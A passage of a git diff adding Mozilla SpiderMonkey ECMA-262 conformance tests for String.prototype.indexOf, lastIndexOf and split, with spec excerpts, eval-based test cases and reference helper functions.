+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.6-1.js
+ ECMA Section: 15.5.4.6 String.prototype.indexOf( searchString, pos)
+ Description: If the given searchString appears as a substring of the
+ result of converting this object to a string, at one or
+ more positions that are at or to the right of the
+ specified position, then the index of the leftmost such
+ position is returned; otherwise -1 is returned. If
+ positionis undefined or not supplied, 0 is assumed, so
+ as to search all of the string.
+
+ When the indexOf method is called with two arguments,
+ searchString and pos, the following steps are taken:
+
+ 1. Call ToString, giving it the this value as its
+ argument.
+ 2. Call ToString(searchString).
+ 3. Call ToInteger(position). (If position is undefined
+ or not supplied, this step produces the value 0).
+ 4. Compute the number of characters in Result(1).
+ 5. Compute min(max(Result(3), 0), Result(4)).
+ 6. Compute the number of characters in the string that
+ is Result(2).
+ 7. Compute the smallest possible integer k not smaller
+ than Result(5) such that k+Result(6) is not greater
+ than Result(4), and for all nonnegative integers j
+ less than Result(6), the character at position k+j
+ of Result(1) is the same as the character at position
+ j of Result(2); but if there is no such integer k,
+ then compute the value -1.
+ 8. Return Result(7).
+
+ Note that the indexOf function is intentionally generic;
+ it does not require that its this value be a String object.
+ Therefore it can be transferred to other kinds of objects
+ for use as a method.
+
+ Author: christine@netscape.com, pschwartau@netscape.com
+ Date: 02 October 1997
+ Modified: 14 July 2002
+ Reason: See http://bugzilla.mozilla.org/show_bug.cgi?id=155289
+ ECMA-262 Ed.3 Section 15.5.4.7
+ The length property of the indexOf method is 1
+ *
+ */
+var SECTION = "15.5.4.6-2";
+var VERSION = "ECMA_1";
+var TITLE = "String.protoype.indexOf";
+var BUGNUMBER="105721";
+
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// the following test regresses http://scopus/bugsplat/show_bug.cgi?id=105721
+
+// regress http://scopus/bugsplat/show_bug.cgi?id=105721
+
+new TestCase( SECTION,
+ "function f() { return this; }; function g() { var h = f; return h(); }; g().toString()",
+ GLOBAL,
+ g().toString()
+ );
+
+
+new TestCase( SECTION, "String.prototype.indexOf.length", 1, String.prototype.indexOf.length );
+new TestCase( SECTION, "String.prototype.indexOf.length = null; String.prototype.indexOf.length", 1, eval("String.prototype.indexOf.length = null; String.prototype.indexOf.length") );
+
+new TestCase( SECTION,
+ "var s = new String(); s.indexOf()",
+ -1,
+ eval("var s = new String(); s.indexOf()") );
+
+// some Unicode tests.
+
+// generate a test string.
+
+var TEST_STRING = "";
+
+for ( var u = 0x00A1; u <= 0x00FF; u++ ) {
+ TEST_STRING += String.fromCharCode( u );
+}
+
+for ( var u = 0x00A1, i = 0; u <= 0x00FF; u++, i++ ) {
+ new TestCase( SECTION,
+ "TEST_STRING.indexOf( " + String.fromCharCode(u) + " )",
+ i,
+ TEST_STRING.indexOf( String.fromCharCode(u) ) );
+}
+for ( var u = 0x00A1, i = 0; u <= 0x00FF; u++, i++ ) {
+ new TestCase( SECTION,
+ "TEST_STRING.indexOf( " + String.fromCharCode(u) + ", void 0 )",
+ i,
+ TEST_STRING.indexOf( String.fromCharCode(u), void 0 ) );
+}
+
+
+
+var foo = new MyObject('hello');
+
+new TestCase( SECTION, "var foo = new MyObject('hello');foo.indexOf('h')", 0, foo.indexOf("h") );
+new TestCase( SECTION, "var foo = new MyObject('hello');foo.indexOf('e')", 1, foo.indexOf("e") );
+new TestCase( SECTION, "var foo = new MyObject('hello');foo.indexOf('l')", 2, foo.indexOf("l") );
+new TestCase( SECTION, "var foo = new MyObject('hello');foo.indexOf('l')", 2, foo.indexOf("l") );
+new TestCase( SECTION, "var foo = new MyObject('hello');foo.indexOf('o')", 4, foo.indexOf("o") );
+new TestCase( SECTION, "var foo = new MyObject('hello');foo.indexOf('X')", -1, foo.indexOf("X") );
+new TestCase( SECTION, "var foo = new MyObject('hello');foo.indexOf(5) ", -1, foo.indexOf(5) );
+
+var boo = new MyObject(true);
+
+new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('t')", 0, boo.indexOf("t") );
+new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('r')", 1, boo.indexOf("r") );
+new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('u')", 2, boo.indexOf("u") );
+new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('e')", 3, boo.indexOf("e") );
+new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('true')", 0, boo.indexOf("true") );
+new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('rue')", 1, boo.indexOf("rue") );
+new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('ue')", 2, boo.indexOf("ue") );
+new TestCase( SECTION, "var boo = new MyObject(true);boo.indexOf('oy')", -1, boo.indexOf("oy") );
+
+
+var noo = new MyObject( Math.PI );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI); noo.indexOf('3') ", 0, noo.indexOf('3') );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI); noo.indexOf('.') ", 1, noo.indexOf('.') );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI); noo.indexOf('1') ", 2, noo.indexOf('1') );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI); noo.indexOf('4') ", 3, noo.indexOf('4') );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI); noo.indexOf('1') ", 2, noo.indexOf('1') );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI); noo.indexOf('5') ", 5, noo.indexOf('5') );
+new TestCase( SECTION, "var noo = new MyObject(Math.PI); noo.indexOf('9') ", 6, noo.indexOf('9') );
+
+new TestCase( SECTION,
+ "var arr = new Array('new','zoo','revue'); arr.indexOf = String.prototype.indexOf; arr.indexOf('new')",
+ 0,
+ eval("var arr = new Array('new','zoo','revue'); arr.indexOf = String.prototype.indexOf; arr.indexOf('new')") );
+
+new TestCase( SECTION,
+ "var arr = new Array('new','zoo','revue'); arr.indexOf = String.prototype.indexOf; arr.indexOf(',zoo,')",
+ 3,
+ eval("var arr = new Array('new','zoo','revue'); arr.indexOf = String.prototype.indexOf; arr.indexOf(',zoo,')") );
+
+new TestCase( SECTION,
+ "var obj = new Object(); obj.indexOf = String.prototype.indexOf; obj.indexOf('[object Object]')",
+ 0,
+ eval("var obj = new Object(); obj.indexOf = String.prototype.indexOf; obj.indexOf('[object Object]')") );
+
+new TestCase( SECTION,
+ "var obj = new Object(); obj.indexOf = String.prototype.indexOf; obj.indexOf('bject')",
+ 2,
+ eval("var obj = new Object(); obj.indexOf = String.prototype.indexOf; obj.indexOf('bject')") );
+
+new TestCase( SECTION,
+ "var f = new Function(); f.toString = Object.prototype.toString; f.indexOf = String.prototype.indexOf; f.indexOf('[object Function]')",
+ 0,
+ eval("var f = new Function(); f.toString = Object.prototype.toString; f.indexOf = String.prototype.indexOf; f.indexOf('[object Function]')") );
+
+new TestCase( SECTION,
+ "var b = new Boolean(); b.indexOf = String.prototype.indexOf; b.indexOf('true')",
+ -1,
+ eval("var b = new Boolean(); b.indexOf = String.prototype.indexOf; b.indexOf('true')") );
+
+new TestCase( SECTION,
+ "var b = new Boolean(); b.indexOf = String.prototype.indexOf; b.indexOf('false', 1)",
+ -1,
+ eval("var b = new Boolean(); b.indexOf = String.prototype.indexOf; b.indexOf('false', 1)") );
+
+new TestCase( SECTION,
+ "var b = new Boolean(); b.indexOf = String.prototype.indexOf; b.indexOf('false', 0)",
+ 0,
+ eval("var b = new Boolean(); b.indexOf = String.prototype.indexOf; b.indexOf('false', 0)") );
+
+new TestCase( SECTION,
+ "var n = new Number(1e21); n.indexOf = String.prototype.indexOf; n.indexOf('e')",
+ 1,
+ eval("var n = new Number(1e21); n.indexOf = String.prototype.indexOf; n.indexOf('e')") );
+
+new TestCase( SECTION,
+ "var n = new Number(-Infinity); n.indexOf = String.prototype.indexOf; n.indexOf('-')",
+ 0,
+ eval("var n = new Number(-Infinity); n.indexOf = String.prototype.indexOf; n.indexOf('-')") );
+
+new TestCase( SECTION,
+ "var n = new Number(0xFF); n.indexOf = String.prototype.indexOf; n.indexOf('5')",
+ 1,
+ eval("var n = new Number(0xFF); n.indexOf = String.prototype.indexOf; n.indexOf('5')") );
+
+new TestCase( SECTION,
+ "var m = Math; m.indexOf = String.prototype.indexOf; m.indexOf( 'Math' )",
+ 8,
+ eval("var m = Math; m.indexOf = String.prototype.indexOf; m.indexOf( 'Math' )") );
+
+// new Date(0) has '31' or '01' at index 8 depending on whether tester is (GMT-) or (GMT+), respectively
+new TestCase( SECTION,
+ "var d = new Date(0); d.indexOf = String.prototype.indexOf; d.getTimezoneOffset()>0 ? d.indexOf('31') : d.indexOf('01')",
+ 8,
+ eval("var d = new Date(0); d.indexOf = String.prototype.indexOf; d.getTimezoneOffset()>0 ? d.indexOf('31') : d.indexOf('01')") );
+
+test();
+
+function f() {
+ return this;
+}
+function g() {
+ var h = f;
+ return h();
+}
+
+function MyObject (v) {
+ this.value = v;
+ this.toString = new Function ( "return this.value +\"\"");
+ this.indexOf = String.prototype.indexOf;
+}
+
diff --git a/js/src/tests/ecma/String/15.5.4.7-1.js b/js/src/tests/ecma/String/15.5.4.7-1.js
new file mode 100644
index 000000000..8559bea69
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.7-1.js
@@ -0,0 +1,185 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.7-1.js
+ ECMA Section: 15.5.4.7 String.prototype.lastIndexOf( searchString, pos)
+ Description:
+
+ If the given searchString appears as a substring of the result of
+ converting this object to a string, at one or more positions that are
+ at or to the left of the specified position, then the index of the
+ rightmost such position is returned; otherwise -1 is returned. If position
+ is undefined or not supplied, the length of this string value is assumed,
+ so as to search all of the string.
+
+ When the lastIndexOf method is called with two arguments searchString and
+ position, the following steps are taken:
+
+ 1.Call ToString, giving it the this value as its argument.
+ 2.Call ToString(searchString).
+ 3.Call ToNumber(position). (If position is undefined or not supplied, this step produces the value NaN).
+ 4.If Result(3) is NaN, use +; otherwise, call ToInteger(Result(3)).
+ 5.Compute the number of characters in Result(1).
+ 6.Compute min(max(Result(4), 0), Result(5)).
+ 7.Compute the number of characters in the string that is Result(2).
+ 8.Compute the largest possible integer k not larger than Result(6) such that k+Result(7) is not greater
+ than Result(5), and for all nonnegative integers j less than Result(7), the character at position k+j of
+ Result(1) is the same as the character at position j of Result(2); but if there is no such integer k, then
+ compute the value -1.
+
+ 1.Return Result(8).
+
+ Note that the lastIndexOf function is intentionally generic; it does not require that its this value be a
+ String object. Therefore it can be transferred to other kinds of objects for use as a method.
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+var SECTION = "15.5.4.7-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.protoype.lastIndexOf";
+
+var TEST_STRING = new String( " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" );
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var j = 0;
+
+for ( k = 0, i = 0x0021; i < 0x007e; i++, j++, k++ ) {
+ new TestCase( SECTION,
+ "String.lastIndexOf(" +String.fromCharCode(i)+ ", 0)",
+ -1,
+ TEST_STRING.lastIndexOf( String.fromCharCode(i), 0 ) );
+}
+
+for ( k = 0, i = 0x0020; i < 0x007e; i++, j++, k++ ) {
+ new TestCase( SECTION,
+ "String.lastIndexOf("+String.fromCharCode(i)+ ", "+ k +")",
+ k,
+ TEST_STRING.lastIndexOf( String.fromCharCode(i), k ) );
+}
+
+for ( k = 0, i = 0x0020; i < 0x007e; i++, j++, k++ ) {
+ new TestCase( SECTION,
+ "String.lastIndexOf("+String.fromCharCode(i)+ ", "+k+1+")",
+ k,
+ TEST_STRING.lastIndexOf( String.fromCharCode(i), k+1 ) );
+}
+
+for ( k = 9, i = 0x0021; i < 0x007d; i++, j++, k++ ) {
+ new TestCase( SECTION,
+
+ "String.lastIndexOf("+(String.fromCharCode(i) +
+ String.fromCharCode(i+1)+
+ String.fromCharCode(i+2)) +", "+ 0 + ")",
+ LastIndexOf( TEST_STRING, String.fromCharCode(i) +
+ String.fromCharCode(i+1)+String.fromCharCode(i+2), 0),
+ TEST_STRING.lastIndexOf( (String.fromCharCode(i)+
+ String.fromCharCode(i+1)+
+ String.fromCharCode(i+2)),
+ 0 ) );
+}
+
+for ( k = 0, i = 0x0020; i < 0x007d; i++, j++, k++ ) {
+ new TestCase( SECTION,
+ "String.lastIndexOf("+(String.fromCharCode(i) +
+ String.fromCharCode(i+1)+
+ String.fromCharCode(i+2)) +", "+ k +")",
+ k,
+ TEST_STRING.lastIndexOf( (String.fromCharCode(i)+
+ String.fromCharCode(i+1)+
+ String.fromCharCode(i+2)),
+ k ) );
+}
+for ( k = 0, i = 0x0020; i < 0x007d; i++, j++, k++ ) {
+ new TestCase( SECTION,
+ "String.lastIndexOf("+(String.fromCharCode(i) +
+ String.fromCharCode(i+1)+
+ String.fromCharCode(i+2)) +", "+ k+1 +")",
+ k,
+ TEST_STRING.lastIndexOf( (String.fromCharCode(i)+
+ String.fromCharCode(i+1)+
+ String.fromCharCode(i+2)),
+ k+1 ) );
+}
+for ( k = 0, i = 0x0020; i < 0x007d; i++, j++, k++ ) {
+ new TestCase( SECTION,
+ "String.lastIndexOf("+
+ (String.fromCharCode(i) +
+ String.fromCharCode(i+1)+
+ String.fromCharCode(i+2)) +", "+ (k-1) +")",
+ LastIndexOf( TEST_STRING, String.fromCharCode(i) +
+ String.fromCharCode(i+1)+String.fromCharCode(i+2), k-1),
+ TEST_STRING.lastIndexOf( (String.fromCharCode(i)+
+ String.fromCharCode(i+1)+
+ String.fromCharCode(i+2)),
+ k-1 ) );
+}
+
+new TestCase( SECTION, "String.lastIndexOf(" +TEST_STRING + ", 0 )", 0, TEST_STRING.lastIndexOf( TEST_STRING, 0 ) );
+
+// new TestCase( SECTION, "String.lastIndexOf(" +TEST_STRING + ", 1 )", 0, TEST_STRING.lastIndexOf( TEST_STRING, 1 ));
+
+new TestCase( SECTION, "String.lastIndexOf(" +TEST_STRING + ")", 0, TEST_STRING.lastIndexOf( TEST_STRING ));
+
+print( "TEST_STRING = new String(\" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\")" );
+
+test();
+
+function LastIndexOf( string, search, position ) {
+ string = String( string );
+ search = String( search );
+
+ position = Number( position )
+
+ if ( isNaN( position ) ) {
+ position = Infinity;
+ } else {
+ position = ToInteger( position );
+ }
+
+ result5= string.length;
+ result6 = Math.min(Math.max(position, 0), result5);
+ result7 = search.length;
+
+ if (result7 == 0) {
+ return Math.min(position, result5);
+ }
+
+ result8 = -1;
+
+ for ( k = 0; k <= result6; k++ ) {
+ if ( k+ result7 > result5 ) {
+ break;
+ }
+ for ( j = 0; j < result7; j++ ) {
+ if ( string.charAt(k+j) != search.charAt(j) ){
+ break;
+ } else {
+ if ( j == result7 -1 ) {
+ result8 = k;
+ }
+ }
+ }
+ }
+
+ return result8;
+}
+function ToInteger( n ) {
+ n = Number( n );
+ if ( isNaN(n) ) {
+ return 0;
+ }
+ if ( Math.abs(n) == 0 || Math.abs(n) == Infinity ) {
+ return n;
+ }
+
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ return ( sign * Math.floor(Math.abs(n)) );
+}
diff --git a/js/src/tests/ecma/String/15.5.4.7-2.js b/js/src/tests/ecma/String/15.5.4.7-2.js
new file mode 100644
index 000000000..eda13ebd1
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.7-2.js
@@ -0,0 +1,181 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.7-2.js
+ ECMA Section: 15.5.4.7 String.prototype.lastIndexOf( searchString, pos)
+ Description:
+
+ If the given searchString appears as a substring of the result of
+ converting this object to a string, at one or more positions that are
+ at or to the left of the specified position, then the index of the
+ rightmost such position is returned; otherwise -1 is returned. If position
+ is undefined or not supplied, the length of this string value is assumed,
+ so as to search all of the string.
+
+ When the lastIndexOf method is called with two arguments searchString and
+ position, the following steps are taken:
+
+ 1.Call ToString, giving it the this value as its argument.
+ 2.Call ToString(searchString).
+ 3.Call ToNumber(position). (If position is undefined or not supplied, this step produces the value NaN).
+ 4.If Result(3) is NaN, use +; otherwise, call ToInteger(Result(3)).
+ 5.Compute the number of characters in Result(1).
+ 6.Compute min(max(Result(4), 0), Result(5)).
+ 7.Compute the number of characters in the string that is Result(2).
+ 8.Compute the largest possible integer k not larger than Result(6) such that k+Result(7) is not greater
+ than Result(5), and for all nonnegative integers j less than Result(7), the character at position k+j of
+ Result(1) is the same as the character at position j of Result(2); but if there is no such integer k, then
+ compute the value -1.
+
+ 1.Return Result(8).
+
+ Note that the lastIndexOf function is intentionally generic; it does not require that its this value be a
+ String object. Therefore it can be transferred to other kinds of objects for use as a method.
+
+ Author: christine@netscape.com, pschwartau@netscape.com
+ Date: 02 October 1997
+ Modified: 14 July 2002
+ Reason: See http://bugzilla.mozilla.org/show_bug.cgi?id=155289
+ ECMA-262 Ed.3 Section 15.5.4.8
+ The length property of the lastIndexOf method is 1
+ *
+ */
+var SECTION = "15.5.4.7-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.protoype.lastIndexOf";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( SECTION, "String.prototype.lastIndexOf.length", 1, String.prototype.lastIndexOf.length );
+
+new TestCase( SECTION, "var s = new String(''); s.lastIndexOf('', 0)", LastIndexOf("","",0), eval("var s = new String(''); s.lastIndexOf('', 0)") );
+new TestCase( SECTION, "var s = new String(''); s.lastIndexOf('')", LastIndexOf("",""), eval("var s = new String(''); s.lastIndexOf('')") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('', 0)", LastIndexOf("hello","",0), eval("var s = new String('hello'); s.lastIndexOf('',0)") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('')", LastIndexOf("hello",""), eval("var s = new String('hello'); s.lastIndexOf('')") );
+
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll')", LastIndexOf("hello","ll"), eval("var s = new String('hello'); s.lastIndexOf('ll')") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 0)", LastIndexOf("hello","ll",0), eval("var s = new String('hello'); s.lastIndexOf('ll', 0)") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 1)", LastIndexOf("hello","ll",1), eval("var s = new String('hello'); s.lastIndexOf('ll', 1)") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 2)", LastIndexOf("hello","ll",2), eval("var s = new String('hello'); s.lastIndexOf('ll', 2)") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 3)", LastIndexOf("hello","ll",3), eval("var s = new String('hello'); s.lastIndexOf('ll', 3)") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 4)", LastIndexOf("hello","ll",4), eval("var s = new String('hello'); s.lastIndexOf('ll', 4)") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 5)", LastIndexOf("hello","ll",5), eval("var s = new String('hello'); s.lastIndexOf('ll', 5)") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 6)", LastIndexOf("hello","ll",6), eval("var s = new String('hello'); s.lastIndexOf('ll', 6)") );
+
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 1.5)", LastIndexOf('hello','ll', 1.5), eval("var s = new String('hello'); s.lastIndexOf('ll', 1.5)") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', 2.5)", LastIndexOf('hello','ll', 2.5), eval("var s = new String('hello'); s.lastIndexOf('ll', 2.5)") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', -1)", LastIndexOf('hello','ll', -1), eval("var s = new String('hello'); s.lastIndexOf('ll', -1)") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', -1.5)",LastIndexOf('hello','ll', -1.5), eval("var s = new String('hello'); s.lastIndexOf('ll', -1.5)") );
+
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', -Infinity)", LastIndexOf("hello","ll",-Infinity), eval("var s = new String('hello'); s.lastIndexOf('ll', -Infinity)") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', Infinity)", LastIndexOf("hello","ll",Infinity), eval("var s = new String('hello'); s.lastIndexOf('ll', Infinity)") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', NaN)", LastIndexOf("hello","ll",NaN), eval("var s = new String('hello'); s.lastIndexOf('ll', NaN)") );
+new TestCase( SECTION, "var s = new String('hello'); s.lastIndexOf('ll', -0)", LastIndexOf("hello","ll",-0), eval("var s = new String('hello'); s.lastIndexOf('ll', -0)") );
+for ( var i = 0; i < ( "[object Object]" ).length; i++ ) {
+ new TestCase( SECTION,
+ "var o = new Object(); o.lastIndexOf = String.prototype.lastIndexOf; o.lastIndexOf('b', "+ i + ")",
+ ( i < 2 ? -1 : ( i < 9 ? 2 : 9 )) ,
+ eval("var o = new Object(); o.lastIndexOf = String.prototype.lastIndexOf; o.lastIndexOf('b', "+ i + ")") );
+}
+for ( var i = 0; i < 5; i ++ ) {
+ new TestCase( SECTION,
+ "var b = new Boolean(); b.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('l', "+ i + ")",
+ ( i < 2 ? -1 : 2 ),
+ eval("var b = new Boolean(); b.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('l', "+ i + ")") );
+}
+for ( var i = 0; i < 5; i ++ ) {
+ new TestCase( SECTION,
+ "var b = new Boolean(); b.toString = Object.prototype.toString; b.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('o', "+ i + ")",
+ ( i < 1 ? -1 : ( i < 9 ? 1 : ( i < 10 ? 9 : 10 ) ) ),
+ eval("var b = new Boolean(); b.toString = Object.prototype.toString; b.lastIndexOf = String.prototype.lastIndexOf; b.lastIndexOf('o', "+ i + ")") );
+}
+for ( var i = 0; i < 9; i++ ) {
+ new TestCase( SECTION,
+ "var n = new Number(Infinity); n.lastIndexOf = String.prototype.lastIndexOf; n.lastIndexOf( 'i', " + i + " )",
+ ( i < 3 ? -1 : ( i < 5 ? 3 : 5 ) ),
+ eval("var n = new Number(Infinity); n.lastIndexOf = String.prototype.lastIndexOf; n.lastIndexOf( 'i', " + i + " )") );
+}
+var a = new Array( "abc","def","ghi","jkl","mno","pqr","stu","vwx","yz" );
+
+for ( var i = 0; i < (a.toString()).length; i++ ) {
+ new TestCase( SECTION,
+ "var a = new Array( 'abc','def','ghi','jkl','mno','pqr','stu','vwx','yz' ); a.lastIndexOf = String.prototype.lastIndexOf; a.lastIndexOf( ',mno,p', "+i+" )",
+ ( i < 15 ? -1 : 15 ),
+ eval("var a = new Array( 'abc','def','ghi','jkl','mno','pqr','stu','vwx','yz' ); a.lastIndexOf = String.prototype.lastIndexOf; a.lastIndexOf( ',mno,p', "+i+" )") );
+}
+
+for ( var i = 0; i < 15; i ++ ) {
+ new TestCase( SECTION,
+ "var m = Math; m.lastIndexOf = String.prototype.lastIndexOf; m.lastIndexOf('t', "+ i + ")",
+ ( i < 6 ? -1 : ( i < 10 ? 6 : 10 ) ),
+ eval("var m = Math; m.lastIndexOf = String.prototype.lastIndexOf; m.lastIndexOf('t', "+ i + ")") );
+}
+/*
+ for ( var i = 0; i < 15; i++ ) {
+ new TestCase( SECTION,
+ "var d = new Date(); d.lastIndexOf = String.prototype.lastIndexOf; d.lastIndexOf( '0' )",
+ )
+ }
+
+*/
+
+test();
+
+function LastIndexOf( string, search, position ) {
+ string = String( string );
+ search = String( search );
+
+ position = Number( position )
+
+ if ( isNaN( position ) ) {
+ position = Infinity;
+ } else {
+ position = ToInteger( position );
+ }
+
+ result5= string.length;
+ result6 = Math.min(Math.max(position, 0), result5);
+ result7 = search.length;
+
+ if (result7 == 0) {
+ return Math.min(position, result5);
+ }
+
+ result8 = -1;
+
+ for ( k = 0; k <= result6; k++ ) {
+ if ( k+ result7 > result5 ) {
+ break;
+ }
+ for ( j = 0; j < result7; j++ ) {
+ if ( string.charAt(k+j) != search.charAt(j) ){
+ break;
+ } else {
+ if ( j == result7 -1 ) {
+ result8 = k;
+ }
+ }
+ }
+ }
+
+ return result8;
+}
+function ToInteger( n ) {
+ n = Number( n );
+ if ( isNaN(n) ) {
+ return 0;
+ }
+ if ( Math.abs(n) == 0 || Math.abs(n) == Infinity ) {
+ return n;
+ }
+
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ return ( sign * Math.floor(Math.abs(n)) );
+}
diff --git a/js/src/tests/ecma/String/15.5.4.8-1.js b/js/src/tests/ecma/String/15.5.4.8-1.js
new file mode 100644
index 000000000..344444ca4
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.8-1.js
@@ -0,0 +1,196 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.8-1.js
+ ECMA Section: 15.5.4.8 String.prototype.split( separator )
+ Description:
+
+ Returns an Array object into which substrings of the result of converting
+ this object to a string have been stored. The substrings are determined by
+ searching from left to right for occurrences of the given separator; these
+ occurrences are not part of any substring in the returned array, but serve
+ to divide up this string value. The separator may be a string of any length.
+
+ As a special case, if the separator is the empty string, the string is split
+ up into individual characters; the length of the result array equals the
+ length of the string, and each substring contains one character.
+
+ If the separator is not supplied, then the result array contains just one
+ string, which is the string.
+
+ Author: christine@netscape.com, pschwartau@netscape.com
+ Date: 12 November 1997
+ Modified: 14 July 2002
+ Reason: See http://bugzilla.mozilla.org/show_bug.cgi?id=155289
+ ECMA-262 Ed.3 Section 15.5.4.14
+ The length property of the split method is 2
+ *
+ */
+
+var SECTION = "15.5.4.8-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.split";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "String.prototype.split.length", 2, String.prototype.split.length );
+
+// test cases for when split is called with no arguments.
+
+// this is a string object
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); typeof s.split()",
+ "object",
+ eval("var s = new String('this is a string object'); typeof s.split()") );
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); Array.prototype.getClass = Object.prototype.toString; (s.split()).getClass()",
+ "[object Array]",
+ eval("var s = new String('this is a string object'); Array.prototype.getClass = Object.prototype.toString; (s.split()).getClass()") );
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.split().length",
+ 1,
+ eval("var s = new String('this is a string object'); s.split().length") );
+
+new TestCase( SECTION,
+ "var s = new String('this is a string object'); s.split()[0]",
+ "this is a string object",
+ eval("var s = new String('this is a string object'); s.split()[0]") );
+
+// this is an object object
+new TestCase( SECTION,
+ "var obj = new Object(); obj.split = String.prototype.split; typeof obj.split()",
+ "object",
+ eval("var obj = new Object(); obj.split = String.prototype.split; typeof obj.split()") );
+
+new TestCase( SECTION,
+ "var obj = new Object(); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.getClass()",
+ "[object Array]",
+ eval("var obj = new Object(); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.split().getClass()") );
+
+new TestCase( SECTION,
+ "var obj = new Object(); obj.split = String.prototype.split; obj.split().length",
+ 1,
+ eval("var obj = new Object(); obj.split = String.prototype.split; obj.split().length") );
+
+new TestCase( SECTION,
+ "var obj = new Object(); obj.split = String.prototype.split; obj.split()[0]",
+ "[object Object]",
+ eval("var obj = new Object(); obj.split = String.prototype.split; obj.split()[0]") );
+
+// this is a function object
+new TestCase( SECTION,
+ "var obj = new Function(); obj.split = String.prototype.split; typeof obj.split()",
+ "object",
+ eval("var obj = new Function(); obj.split = String.prototype.split; typeof obj.split()") );
+
+new TestCase( SECTION,
+ "var obj = new Function(); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.getClass()",
+ "[object Array]",
+ eval("var obj = new Function(); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.split().getClass()") );
+
+new TestCase( SECTION,
+ "var obj = new Function(); obj.split = String.prototype.split; obj.split().length",
+ 1,
+ eval("var obj = new Function(); obj.split = String.prototype.split; obj.split().length") );
+
+new TestCase( SECTION,
+ "var obj = new Function(); obj.split = String.prototype.split; obj.toString = Object.prototype.toString; obj.split()[0]",
+ "[object Function]",
+ eval("var obj = new Function(); obj.split = String.prototype.split; obj.toString = Object.prototype.toString; obj.split()[0]") );
+
+// this is a number object
+new TestCase( SECTION,
+ "var obj = new Number(NaN); obj.split = String.prototype.split; typeof obj.split()",
+ "object",
+ eval("var obj = new Number(NaN); obj.split = String.prototype.split; typeof obj.split()") );
+
+new TestCase( SECTION,
+ "var obj = new Number(Infinity); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.getClass()",
+ "[object Array]",
